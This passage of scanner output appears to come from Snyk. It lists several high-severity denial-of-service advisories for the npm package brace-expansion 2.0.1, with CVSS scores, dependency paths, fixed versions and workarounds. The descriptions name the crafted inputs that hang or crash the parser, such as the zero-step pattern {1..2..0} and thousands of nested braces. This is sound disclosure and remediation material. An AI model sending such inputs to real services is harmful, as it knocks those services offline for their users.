{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
